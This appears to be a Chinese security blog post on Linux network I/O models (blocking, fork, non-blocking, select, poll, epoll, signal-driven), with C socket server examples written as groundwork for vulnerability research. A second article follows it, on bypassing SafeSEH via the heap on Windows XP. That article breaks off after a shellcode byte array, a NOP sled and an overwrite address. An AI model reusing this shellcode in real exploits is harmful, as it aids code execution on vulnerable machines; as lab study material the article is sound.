5) 异步I/O asynchronous I/O

我尽我所能的把上面的每个模型,包括其中每个利用点,都说一下,除了目前业界实现不完全的异步I/O

阻塞模型

这是最基础,最简单的linux网络模型, 下面利用简单的一幅图描述网络阻塞模型的原理

                                        server
                                           |
                                          bind
                                           |
                                         listen
                                           |
                                         accept
                                           |
                                      阻塞直到客户端连接
                                           |
        client                             |
           |                               |
        connect ----建立连接完成3次握手---->  |
           |                               |
         write   --------数据(请求)------> read
           |                               |
           |                             处理请求
           |                               |
         read   <---------应答----------  write
           |                               |
         close                           close

阻塞模型最大的弊端就是server启动之后一直阻塞,直到client端发送请求为止,什么也不干
这样极大的浪费了网络资源,所以这种的一般只适合本地的文件读取,写入操作,不适合做网络应用

实现的源码

server.c

do 
{
    struct sockaddr_in server_addr, client_addr;
    unsigned char client_host[256];
    memset((void*)client_host, 0, sizeof(client_host));
    server_fd = socket(AF_INET, SOCK_STREAM, 0);
    if (server_fd == -1) 
    {
        handle_error("socket");
        break;
    }
    memset((void*)&server_addr, 0, sizeof(struct sockaddr_in));
    server_addr.sin_family = AF_INET; /* ipv4 tcp packet */
    server_addr.sin_port = htons(SERVER_PORT); /* convert to network byte order */
    server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    
    if (bind(server_fd, (SA*)&server_addr, sizeof(struct sockaddr_in)) == -1)
    {
        handle_error("bind");
        break;
    }

    if (listen(server_fd, 32) == -1)
    {
        handle_error("listen");
        break;
    }
    printf("waiting for connect to server...\n");
    int client_fd;
    int client_addr_len = sizeof(struct sockaddr_in);
    if ((client_fd = accept(server_fd, (SA*)&client_addr, 
                                (socklen_t*)&client_addr_len)) == -1)
    {
        handle_error("accept");
        break;
    }
    printf("connection from %s, port %d\n", 
                inet_ntoa(client_addr.sin_addr), 
                ntohs(client_addr.sin_port));
    write(client_fd, SEND_MSG, sizeof(SEND_MSG));
    
} while (0);

客户端
client.c

do
{
    struct sockaddr_in server_addr;
    memset((void*)&server_addr, 0, sizeof(struct sockaddr_in));
    server_addr.sin_port = htons(SERVER_PORT);
    server_addr.sin_family = AF_INET;
    char buf_write[READ_MAX_SIZE] = SEND_2_SERVER_MSG;
    char buf_read[WRITE_MAX_SIZE];
    memset(buf_read, 0, sizeof(buf_read));
    
    server_fd = socket(AF_INET, SOCK_STREAM, 0);
    if (server_fd == -1)
    {
        handle_error("socket");
        break;
    }
    if (inet_aton(SERVER_HOST, (struct in_addr*)&server_addr.sin_addr) == 0)
    {
        handle_error("inet_aton");
        break;
    }
    if (connect(server_fd, (const SA*)&server_addr, sizeof(struct sockaddr_in)) == -1)
    {
        handle_error("client connect to server");
        break;
    }
    printf("Connect successfully...\n");
    
    ssize_t write_size = write(server_fd, buf_write, strlen(buf_write));
    if (write_size == -1)
    {
        handle_error("write");
        break;
    }
    ssize_t recv_size = read(server_fd, buf_read, sizeof(buf_read));
    if (recv_size == -1)
    {
        handle_error("read");
        break;
    }
    printf("recv data: %s size: %ld\n", buf_read, recv_size);
} while (0);

为了提高网络阻塞模型的效率,在服务器端可以使用fork子进程来完成
大概的原理图

                            server端
                          +----------+
                          | listenfd |
                          |          |
connect ----------------> |  connfd  |
            ^             +----------+
            |                  |
            |                  | fork 子进程处理
            |                  |
            |             +----------+
            |             | listenfd |
            |             |          |
            +------------ |  connfd  |
                          +----------+

这种模型,客户端感受不到,只需要更改服务器端代码即可

do
{
    struct sockaddr_in server_addr, client_addr;
    unsigned char client_host[256];
    memset((void *)client_host, 0, sizeof(client_host));
    server_fd = socket(AF_INET, SOCK_STREAM, 0);
    if (server_fd == -1)
    {
        handle_error("socket");
        break;
    }
    memset((void *)&server_addr, 0, sizeof(struct sockaddr_in));
    server_addr.sin_family = AF_INET;   /* ipv4 tcp packet */
    server_addr.sin_port = htons(SERVER_PORT); /* convert to network byte order */
    server_addr.sin_addr.s_addr = htonl(INADDR_ANY);

    if (bind(server_fd, (SA *)&server_addr, sizeof(struct sockaddr_in)) == -1)
    {
        handle_error("bind");
        break;
    }
    if (listen(server_fd, LISTEN_BACKLOG) == -1)
    {
        handle_error("listen");
        break;
    }
    for (;;)
    {
        printf("waiting for connect to server...\n");
        int client_fd;
        int client_addr_len = sizeof(struct sockaddr_in);
        if ((client_fd = accept(server_fd, (struct sockaddr *)&client_addr,
                                    (socklen_t *)&client_addr_len)) == -1)
        {
            handle_error("accept");
            break;
        }
        printf("connection from %s, port %d\n",
                inet_ntoa(client_addr.sin_addr),
                ntohs(client_addr.sin_port));
        // child process to handle client_fd
        if (0 == fork())
        {
            close(server_fd); /* child process close listening server_fd */
            write(client_fd, SEND_2_CLIENT_MSG, sizeof(SEND_2_CLIENT_MSG));
            close(client_fd); /* child process close client_fd */
            exit(0);
        }
        else /* parent process close client_fd */
            close(client_fd);
    }
} while (0);

多次启动客户端,服务器端,大概是这样

➜  LinuxNetwork ./block_server_fork
waiting for connect to server...
connection from 127.0.0.1, port 41458
waiting for connect to server...
connection from 127.0.0.1, port 41459
waiting for connect to server...

即使使用fork来提升效率,但是fork模式,依然有两个致命的缺点

1)用 fork() 的问题在于每一个 Connection 进来时的成本太高,如果同时接入的并发连接数太多容易进程数量很多,进程之间的切换开销会很大,同时对于老的内核(Linux)会产生雪崩效应。 
2)用 Multi-thread 的问题在于 Thread-safe 与 Deadlock 问题难以解决,另外有 Memory-leak 的问题要处理,这个问题对于很多程序员来说无异于恶梦,尤其是对于连续服务器的服务器程序更是不可以接受。

所以为了提高效率,又提出了以下的非阻塞模型

非阻塞模型

直接单独使用这种模型很少用到,因为基本上是一个线程只能同时处理一个socket,效率低下,
很多都是结合了下面的I/O复用来使用,
所以大概了解一下代码,知道原理即可,借用UNIX网络编程书中的一句话

进程把一个套接字设置成非阻塞是在通知内核:
当所有请求的I/Ocaozuo非得吧本进程投入睡眠才能完成时,不要把本进程投入睡眠,而是返回一个错误

样例代码

standard_no_block_server.c

do
{
    if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        handle_error("socket");
        break;
    }
    last_fd = server_fd;
    server_addr.sin_family = AF_INET; 
    server_addr.sin_port = htons(SERVER_PORT);
    server_addr.sin_addr.s_addr = INADDR_ANY;
    bzero(&(server_addr.sin_zero), 8); 

    if (bind(server_fd, (SA *)&server_addr, sizeof(SA)) == -1)
    {
        handle_error("bind");
        break;
    }
    if (listen(server_fd, LISTEN_BACKLOG) == -1)
    {
        handle_error("listen");
        break;
    }
    if ((client_fd = accept(server_fd, 
                        (SA *)&client_addr,
                            (socklen_t*)&sin_size)) == -1)
    {
        handle_error("accept");
        break;
    }

    fcntl(last_fd, F_SETFL, O_NONBLOCK); 
    fcntl(client_fd, F_SETFL, O_NONBLOCK);  
    for (; ;)
    {
        for (int i = server_fd; i <= last_fd; i++)
        {
            printf("Round number %d\n", i);
            if (i == server_fd)
            {
                sin_size = sizeof(struct sockaddr_in);
                if ((client_fd = accept(server_fd, (SA *)&client_addr,
                                    (socklen_t*)&sin_size)) == -1)
                {
                    handle_error("accept");
                    continue;
                }
                printf("server: got connection from %s\n",
                        inet_ntoa(client_addr.sin_addr));
                fcntl(client_fd, F_SETFL, O_NONBLOCK);
                last_fd = client_fd;
            }
            else
            {
                ssize_t recv_size = read(client_fd, buf_read, READ_MAX_SIZE);
                if (recv_size < 0)
                {
                    handle_error("recv");
                    break;
                }
                if (recv_size == 0)
                {
                    close(client_fd);
                    continue;
                }
                else
                {
                    buf_read[recv_size] = '\0';
                    printf("The string is: %s \n", buf_read);
                    if (write(client_fd, SEND_2_CLIENT_MSG, strlen(SEND_2_CLIENT_MSG)) == -1)
                    {
                        handle_error("send");
                        continue;
                    }
                }
            }
        }
    }
} while (0);

缺点就是使用大量的CPU轮询时间,浪费了大量的宝贵的服务器CPU资源
 

I/O复用

无论是阻塞还是单纯的非阻塞模型,最致命的缺点就是效率低,在处理大量请求时,无法满足使用需求
所以就需要用到接下来介绍的各种I/O复用方式了

select

select方式简单点来说就是一个用户线程,一次监控多个socket,显然要比简单的单线程单socket速度要快很多很多。
这部分主要来源于参考链接-Linux编程之select
无论是以后讲到的poll还是epoll,原理和select基本相同,所以这里简单用一个流程图来表述一下select使用

        User Thread           Kernel 
           |                    |
           |       select       |
         socket ------------>   + 
           |                    | 
      block|                    | 等待数据
           |       Ready        | 
           +  <---------------- +
           |                    |
           |      Request       | 拷贝数据
           +    ------------>   +
           |                    | 
           |      Response      |
           +    <------------   +

从流程上来看,使用select函数进行IO请求和同步阻塞模型没有太大的区别,甚至还多了添加监视socket,以及调用select函数的额外操作,效率更差。但是,使用select以后最大的优势是用户可以在一个线程内同时处理多个socketI/O请求。用户可以注册多个socket,然后不断地调用select读取被激活的socket,即可达到在同一个线程内同时处理多个I/O请求的目的。而在同步阻塞模型中,必须通过多线程的方式才能达到这个目的。

select伪码

{
    select(socket);
    while(1) 
    { 
        sockets = select(); 
        for(socket in sockets) 
        { 
            if(can_read(socket)) 
            { 
                read(socket, buffer); 
                process(buffer); 
            } 
        } 
    } 
}

select语法

#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
int select(int maxfdp, fd_set *readset, fd_set *writeset, fd_set *exceptset,struct timeval *timeout);

参数说明:
maxfdp:被监听的文件描述符的总数,它比所有文件描述符集合中的文件描述符的最大值大1,因为文件描述符是从0开始计数的;
readfds/writefds/exceptset:分别指向可读、可写和异常等事件对应的描述符集合。
timeout:用于设置select函数的超时时间,即告诉内核select等待多长时间之后就放弃等待。timeout == NULL 表示等待无限长的时间
timeval结构体定义如下:

struct timeval
{ 
    long tv_sec;   /*秒 */
    long tv_usec;  /*微秒 */
};

返回值:超时返回0;失败返回-1;成功返回大于0的整数,这个整数表示就绪描述符的数目。
select使用时有几个比较重要的宏

int  FD_ISSET(int fd, fd_set *set); -> 测试fd是否在set中
void FD_SET(int fd, fd_set *set); -> 添加fd进set中
void FD_ZERO(fd_set *set); -> 将set置零

给出一个案例来详细说明select的使用

select_server.c

do
{
    server_fd = socket(AF_INET, SOCK_STREAM, 0);
    if (server_fd == -1)
    {
        handle_error("socket");
        break;
    }

    memset((void*)&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    server_addr.sin_port = htons(SERVER_PORT);

    if (-1 == bind(server_fd, 
                (struct sockaddr*)&server_addr, 
                sizeof(server_addr)))
    {
        handle_error("bind");
        break;
    }

    if (-1 == listen(server_fd, LISTEN_BACKLOG))
    {
        handle_error("listen");
        break;
    }

    maxfd = server_fd; 
    maxi = -1;
    for (i = 0; i < FD_SETSIZE; i++)
        client[i] = -1; 
    FD_ZERO(&allset);
    FD_SET(server_fd, &allset);

    for (;;)
    {
        rset = allset;
        nready = select(maxfd + 1, &rset, NULL, NULL, NULL);

        if (FD_ISSET(server_fd, &rset))
        {
            clilen = sizeof(client_addr);
            client_fd = accept(server_fd, (SA*)&client_addr, &clilen);

            printf("connection from %s, port %d\n", 
                inet_ntoa(client_addr.sin_addr), 
                ntohs(client_addr.sin_port));

            for (i = 0; i < FD_SETSIZE; i++)
            {
                if (client[i] < 0)
                {
                    client[i] = client_fd;
                    break;
                }
            }
            if (i == FD_SETSIZE)
            {
                handle_error("too many clients");
                break;
            }

            FD_SET(client_fd, &allset); 
            if (client_fd > maxfd)
                maxfd = client_fd; 
            if (i > maxi)
                maxi = i; 

            if (--nready <= 0)
                continue; /* no more readable descriptors */
        }

        for (i = 0; i <= maxi; i++)
        {
            if ((monitfd = client[i]) < 0)
                continue;
            if (FD_ISSET(monitfd, &rset))
            {
                // 请求关闭连接
                if ((n = read(monitfd, buf_read, READ_MAX_SIZE)) == 0)
                {
                    printf("client[%d] aborted connection\n", i);
                    close(monitfd);
                    client[i] = -1;
                }
                // 发生错误
                if (n < 0)
                {
                    printf("client[%d] closed connection\n", i);
                    close(monitfd);
                    client[i] = -1;
                    handle_error("read");
                    break;
                }
                else // 发送数据给客户端
                {
                    printf("Client: %s\n", buf_read);
                    write(monitfd, buf_write, strlen(buf_write));
                }

                if (--nready <= 0)
                    break;
            }
        }
    }
} while (0);

编译&运行

➜  LinuxNetwork make 

➜  LinuxNetwork ./select_server
connection from 127.0.0.1, port 35767 
Client: Hello, message from client. 
client[0] aborted connection 
Client: Hello, message from client.

➜  LinuxNetwork ./client 
Connect successfully...
recv data: Hello, message from server. size: 27

最后,来说一下select的缺点

1、单个进程可监视的fd数量被限制,即能监听端口的大小有限。一般来说这个数目和系统内存关系很大,具体数目可以cat/proc/sys/fs/file-max察看。32位机默认是1024个。64位机默认是2048.
2、 对socket进行扫描时是线性扫描,即采用轮询的方法,效率较低:当套接字比较多的时候,每次select()都要通过遍历FD_SETSIZE个Socket来完成调度,不管哪个Socket是活跃的,都遍历一遍。这会浪费很多CPU时间。如果能给套接字注册某个回调函数,当他们活跃时,自动完成相关操作,那就避免了轮询,这正是epoll与kqueue做的。
3、需要维护一个用来存放大量fd的数据结构,这样会使得用户空间和内核空间在传递该结构时复制开销大。

poll

poll的机制与select类似,与select在本质上没有多大差别,管理多个描述符也是进行轮询,根据描述符的状态进行处理,但是poll没有最大文件描述符数量的限制。pollselect同样存在一个缺点就是,包含大量文件描述符的数组被整体复制于用户态和内核的地址空间之间,而不论这些文件描述符是否就绪,它的开销随着文件描述符数量的增加而线性增大。

select基本相同,直接看一下源码

poll_server.c

do
{
    server_fd = socket(AF_INET, SOCK_STREAM, 0);
    if (server_fd == -1)
    {
        handle_error("socket");
        break;
    }
    bzero(&server_addr, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    server_addr.sin_port = htons(10086);

    if (-1 == bind(server_fd, (SA *)&server_addr, sizeof(server_addr)))
    {
        handle_error("bind");
        break;
    }

    if (-1 == listen(server_fd, LISTEN_BACKLOG))
    {
        handle_error("listen");
        break;
    }

    // index 0 存储服务端socket fd
    client[0].fd = server_fd;
    client[0].events = POLLRDNORM;
    for (i = 1; i < OPEN_MAX; i++)
        client[i].fd = -1; /* -1 indicates available entry */
    maxi = 0;              /* max index into client[] array */
                            /* end fig01 */
    for (;;)
    {
        nready = poll(client, maxi + 1, -1);

        // 客户端连接请求
        if (client[0].revents & POLLRDNORM)
        {
            clilen = sizeof(client_addr);
            client_fd = accept(server_fd, (SA *)&client_addr, &clilen);
            printf("connection from %s, port %d\n", 
                inet_ntoa(client_addr.sin_addr), 
                ntohs(client_addr.sin_port));
            
            // 加入监控集合
            for (i = 1; i < OPEN_MAX; i++)
            {
                if (client[i].fd < 0)
                {
                    client[i].fd = client_fd; /* save descriptor */
                    break;
                }
            }
            if (i == OPEN_MAX)
            {
                handle_error("too many clients");
                break;
            }

            // 设置新fd events可读
            client[i].events = POLLRDNORM;
            if (i > maxi)
                maxi = i; /* max index in client[] array */

            if (--nready <= 0)
                continue; /* no more readable descriptors */
        }

        // 轮询所有使用中的事件
        for (i = 1; i <= maxi; i++)
        {
            if ((monitfd = client[i].fd) < 0)
                continue;

            if (client[i].revents & (POLLRDNORM | POLLERR))
            {
                if ((n = read(monitfd, buf_read, READ_MAX_SIZE)) < 0)
                {
                    if (errno == ECONNRESET)
                    {
                        printf("client[%d] aborted connection\n", i);
                        close(monitfd);
                        client[i].fd = -1;
                    }
                    else
                        printf("read error");
                }
                else if (n == 0)
                {
                    printf("client[%d] closed connection\n", i);
                    close(monitfd);
                    client[i].fd = -1;
                }
                else
                {
                    printf("Client: %s\n", buf_read);
                    write(monitfd, buf_write, strlen(buf_write));
                }

                if (--nready <= 0)
                    break;
            }
        }
    }
} while (0);

poll解决了select使用中socket数目的限制,但是poll也存在着和select一样的致命缺点,需要浪费大量的cpu时间去轮询监控的socket,随着监控的socket数目增加,性能线性增加,所以为了解决这个问题,epoll被开发出来了

epoll

epollpoll的升级版本,拥有poll的优势,而且不需要轮询来消耗不必要的cpu,极大的提高了工作效率
目前epoll存在两种工作模式

  1. LT(level triggered,水平触发模式)是缺省的工作方式,并且同时支持blocknon-block socket。在这种做法中,内核告诉你一个文件描述符是否就绪了,然后你可以对这个就绪的fd进行I/O操作。如果你不作任何操作,内核还是会继续通知你的,所以,这种模式编程出错误可能性要小一点。比如内核通知你其中一个fd可以读数据了,你赶紧去读。你还是懒懒散散,不去读这个数据,下一次循环的时候内核发现你还没读刚才的数据,就又通知你赶紧把刚才的数据读了。这种机制可以比较好的保证每个数据用户都处理掉了。

  2. ET(edge-triggered,边缘触发模式)是高速工作方式,只支持no-block socket。在这种模式下,当描述符从未就绪变为就绪时,内核通过epoll告诉你。然后它会假设你知道文件描述符已经就绪,并且不会再为那个文件描述符发送更多的就绪通知,等到下次有新的数据进来的时候才会再次出发就绪事件。简而言之,就是内核通知过的事情不会再说第二遍,数据错过没读,你自己负责。这种机制确实速度提高了,但是风险相伴而行。

epoll使用时需要使用到的API和相关数据结构

//用户数据载体
typedef union epoll_data {
   void    *ptr;
   int      fd;
   uint32_t u32;
   uint64_t u64;
} epoll_data_t;
//fd装载入内核的载体
 struct epoll_event {
     uint32_t     events;    /* Epoll events */
     epoll_data_t data;      /* User data variable */
 };

 /* 创建一个epoll的句柄,size用来告诉内核需要监听的数目一共有多大。当创建好epoll句柄后,
它就是会占用一个fd值,所以在使用完epoll后,必须调用close()关闭,否则可能导致fd被耗尽。*/
int epoll_create(int size);  

/*epoll的事件注册函数*/
int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event); 

/*等待事件的到来,如果检测到事件,就将所有就绪的事件从内核事件表中复制到它的第二个参数events指向的数组*/
int epoll_wait(int epfd, struct epoll_event *events, int maxevents, int timeout);  

epoll的事件注册函数epoll_ctl,第一个参数是epoll_create的返回值,第二个参数表示动作,使用如下三个宏来表示:

POLL_CTL_ADD    //注册新的fd到epfd中;
EPOLL_CTL_MOD    //修改已经注册的fd的监听事件;
EPOLL_CTL_DEL    //从epfd中删除一个fd;

其中结构体epoll_eventevents的值

EPOLLIN     //表示对应的文件描述符可以读(包括对端SOCKET正常关闭);
EPOLLOUT    //表示对应的文件描述符可以写;
EPOLLPRI    //表示对应的文件描述符有紧急的数据可读(这里应该表示有带外数据到来);
EPOLLERR    //表示对应的文件描述符发生错误;
EPOLLHUP    //表示对应的文件描述符被挂断;
EPOLLET     //将EPOLL设为边缘触发(Edge Triggered)模式,这是相对于水平触发(Level Triggered)来说的。
EPOLLONESHOT//只监听一次事件,当监听完这次事件之后,如果还需要继续监听这个socket的话,需要再次把这个socket加入到EPOLL队列里。

了解了基本情况,那么直接来看基本的案例代码

epoll_server.c

do
{
    int client_fd, sockfd, epfd, nfds;
    ssize_t n;
    char buf_write[READ_MAX_SIZE] = SEND_2_CLIENT_MSG;
    char buf_read[WRITE_MAX_SIZE];
    memset(buf_read, 0, sizeof(buf_read));

    socklen_t clilen;
    //声明epoll_event结构体的变量,ev用于注册事件,数组用于回传要处理的事件
    struct epoll_event ev, events[20];
    //生成用于处理accept的epoll专用的文件描述符
    epfd = epoll_create(256);
    struct sockaddr_in client_addr;
    struct sockaddr_in server_addr;
    server_fd = socket(AF_INET, SOCK_STREAM, 0);
    // 设置为非阻塞
    fcntl(server_fd, F_SETFL, O_NONBLOCK);
    if (server_fd == -1)
    {
        handle_error("socket");
        break;
    }
    //把socket设置为非阻塞方式
    //setnonblocking(server_fd);

    //设置与要处理的事件相关的文件描述符
    ev.data.fd = server_fd;
    //设置要处理的事件类型
    ev.events = EPOLLIN | EPOLLET;
    //注册epoll事件
    epoll_ctl(epfd, EPOLL_CTL_ADD, server_fd, &ev);

    bzero(&server_addr, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
    server_addr.sin_port = htons(10086);
    if (-1 == bind(server_fd, (SA *)&server_addr, sizeof(server_addr)))
    {
        handle_error("bind");
        break;
    }
    if (-1 == listen(server_fd, LISTEN_BACKLOG))
    {
        handle_error("listen");
        break;
    }

    for (;;)
    {
        //等待epoll事件的发生
        nfds = epoll_wait(epfd, events, 20, 500);
        if (nfds == -1)
        {
            handle_error("epoll_wait");
            break;
        }
        //处理所发生的所有事件
        for (int i = 0; i < nfds; ++i)
        {
            // server_fd 事件
            if (events[i].data.fd == server_fd)
            {
                client_fd = accept(server_fd, (SA *)&client_addr, &clilen);
                if (client_fd == -1)
                {
                    handle_error("accept");
                    break;
                }
                fcntl(client_fd, F_SETFL, O_NONBLOCK);
                printf("connection from %s, port %d\n",
                        inet_ntoa(client_addr.sin_addr),
                        ntohs(client_addr.sin_port));
                //设置用于读操作的文件描述符
                ev.data.fd = client_fd;
                //设置用于注测的读操作事件
                ev.events = EPOLLIN | EPOLLET;
                //注册ev
                epoll_ctl(epfd, EPOLL_CTL_ADD, client_fd, &ev);
            }
            else if (events[i].events & EPOLLIN) //已连接用户,并且收到数据,那么进行读入。
            {
                if ((sockfd = events[i].data.fd) < 0)
                    continue;
                if ((n = read(sockfd, buf_read, READ_MAX_SIZE)) < 0)
                {
                    // 删除sockfd
                    epoll_ctl(epfd, EPOLL_CTL_DEL, sockfd, NULL);
                    if (errno == ECONNRESET)
                    {
                        close(sockfd);
                        events[i].data.fd = -1;
                    }
                    else
                    {
                        handle_error("read");
                        break;
                    }
                }
                else if (n == 0)
                {
                    // 删除sockfd
                    epoll_ctl(epfd, EPOLL_CTL_DEL, sockfd, NULL);
                    close(sockfd);
                    events[i].data.fd = -1;
                }
                else
                {
                    //设置用于写操作的文件描述符
                    ev.data.fd = sockfd;
                    //设置用于注测的写操作事件
                    ev.events = EPOLLOUT | EPOLLET;
                    //修改sockfd上要处理的事件为EPOLLOUT
                    epoll_ctl(epfd, EPOLL_CTL_MOD, sockfd, &ev);
                    printf("Client: %s\n", buf_read);
                }
            }
            else if (events[i].events & EPOLLOUT) // 如果有数据发送
            {
                sockfd = events[i].data.fd;
                write(sockfd, buf_write, strlen(buf_write));
                //设置用于读操作的文件描述符
                ev.data.fd = sockfd;
                //设置用于注测的读操作事件
                ev.events = EPOLLIN | EPOLLET;
                //修改sockfd上要处理的事件为EPOLIN
                epoll_ctl(epfd, EPOLL_CTL_MOD, sockfd, &ev);
            }
        }
    }
} while (0);

编译&执行

➜  LinuxNetwork make 

➜  LinuxNetwork ./epoll_server
connection from 127.0.0.1, port 50640
Client: Hello, message from client.

➜  LinuxNetwork ./client 
Connect successfully...
recv data: Hello, message from server. size: 27

比较epoll的代码和poll代码最大的区别,在监控所有socket的过程中,并不需要不断的轮询监控的socket去检查其状态,效率有了巨大的提升
介绍完epoll的语法和相关实现,现在来看epoll优势

1. 支持一个进程打开大数目的socket描述符
2. IO效率不随FD数目增加而线性下降
3. 使用mmap加速内核与用户空间的消息传递(这个需要阅读epoll实现源码)

信号驱动

信号驱动式I/O是指进程预先告知内核,使得当某个描述符上发生某事时,内核使用信号通知相关进程

主要用于UDP数据通信,其用到的API

#include <signal.h>
typedef void (*sighandler_t)(int);
sighandler_t signal(int signum, sighandler_t handler);        

int sigaction(int signum, const struct sigaction *act,     
             struct sigaction *oldact);

其中sigaction结构体

struct sigaction {
  void     (*sa_handler)(int);                           // 信号处理函数
  void     (*sa_sigaction)(int, siginfo_t *, void *);    // 同上, 某些OS实现时联合体
  sigset_t   sa_mask;                                    // 信号掩码, 用于屏蔽信号
  int        sa_flags;                                   // 设置标志
  void     (*sa_restorer)(void);                         // 不是为应用准备的,见sigreturn(2)
};

其中设置标志,使用fcntl函数

#include <unistd.h>
#include <fcntl.h>
int fcntl(int fd, int cmd, ... /* arg */ );

这里没有看到特别大的用处,直接给一个案例代码,以后遇到再细说

sigio_server.c

int server_fd;

void do_sigio(int sig)
{
    char buf_read[READ_MAX_SIZE];
    memset((void *)buf_read, 0, sizeof(buf_read));
    struct sockaddr_in client_addr; 
    unsigned int clntLen; 
    int recvMsgSize; 
    do 
    {
        clntLen = sizeof(client_addr);
        if ((recvMsgSize = recvfrom(server_fd, 
                                buf_read, 
                                READ_MAX_SIZE, 
                                MSG_WAITALL,
                                (SA *)&client_addr, 
                                &clntLen)) < 0)
        {
            if (errno != EWOULDBLOCK)
            {
                handle_error("recvfrom");
                break;
            }
        }
        else
        {
            printf("connection from %s, port %d, data: %s\n", 
                    inet_ntoa(client_addr.sin_addr), 
                    ntohs(client_addr.sin_port), buf_read);
            if (sendto(server_fd, 
                       SEND_2_CLIENT_MSG, 
                       strlen(SEND_2_CLIENT_MSG), 
                       0, 
                       (SA *)&client_addr, 
                       sizeof(client_addr)) != strlen(SEND_2_CLIENT_MSG))
            {
                handle_error("sendto");
                break;
            }
        }
    } while (0);
}

int main()
{
    server_fd = -1;
    do
    {
        struct sockaddr_in server_addr;
        server_fd = socket(AF_INET, SOCK_DGRAM, 0);
        if (server_fd == -1)
        {
            handle_error("socket");
            break;
        }

        bzero((char *)&server_addr, sizeof(server_addr));
        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(SERVER_PORT);
        server_addr.sin_addr.s_addr = INADDR_ANY;

        if (-1 == bind(server_fd, (SA *)&server_addr, sizeof(server_addr)))
        {
            handle_error("bind");
            break;
        }

        struct sigaction sigio_action;
        memset(&sigio_action, 0, sizeof(sigio_action));
        sigio_action.sa_flags = 0;
        sigio_action.sa_handler = do_sigio;
        if (sigfillset(&sigio_action.sa_mask) < 0) 
        {
            handle_error("sigfillset");
            break;
        }
        sigaction(SIGIO, &sigio_action, NULL);
        if (-1 == fcntl(server_fd, F_SETOWN, getpid()))
        {
            handle_error("fcntl_setdown");
            break;
        }
        
        int flags;
        flags = fcntl(server_fd, F_GETFL, 0);
        if (flags == -1)
        {
            handle_error("fcntl_getfl");
            break;
        }
        flags |= O_ASYNC | O_NONBLOCK;
        fcntl(server_fd, F_SETFL, flags);
        for (; ;)
        {
            printf("waiting ...\n");
            sleep(3);
        }
        close(server_fd);
    } while (0);
    return 0;
}

编译及运行

➜  LinuxNetwork make 

➜  LinuxNetwork ./sigio_server
waiting...
connection from 127.0.0.1, port 58119, data: Hello, message from server. 

➜  LinuxNetwork ./client_udp 
recv data: Hello, message from server. size: 27

异步I/O

目前该方面的技术还不够成熟,对于我们寻找网络组件方面的漏洞,帮助不大,这里略过了
套用知乎上的一个大佬说的

glibc的aio有bug, 
Linux kernel的aio只能以O_DIRECT方式做直接IO,libeio也是beta阶段。
epoll是成熟的,但是epoll本身是同步的。

总结

至此我们简单的将Linux目前用到的网络模型做了介绍,每个模型,都使用了相关的代码来做案例,需要重点关注的是I/O复用的部分,平时碰到的可能会比较多。
介绍完这些,为我们以后挖掘网络组件方面的漏洞做了一些基础铺垫。接下来可以来挖网络组件的洞了

参考链接

使用libevent和libev提高网络应用性能——I/O模型演进变化史

io模型详述

unix网络编程源码

Linux编程之select

IO多路复用之poll总结

Linux编程之epoll

深入理解IO复用之epoll

demo sigio c example

UDP Echo Server c example

信号与信号驱动IO

linux下的异步IO(AIO)是否已成熟?


文章已首发于安全客

利用堆绕过SafeSEH及SEH异常机制分析

利用堆绕过SafeSEH及SEH异常机制分析

环境

windows xp sp3
vs 2013 

测试代码


#include <Windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#pragma warning(disable:4996)

char shellcode1[] = 
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x38\x4f\x15\x00";

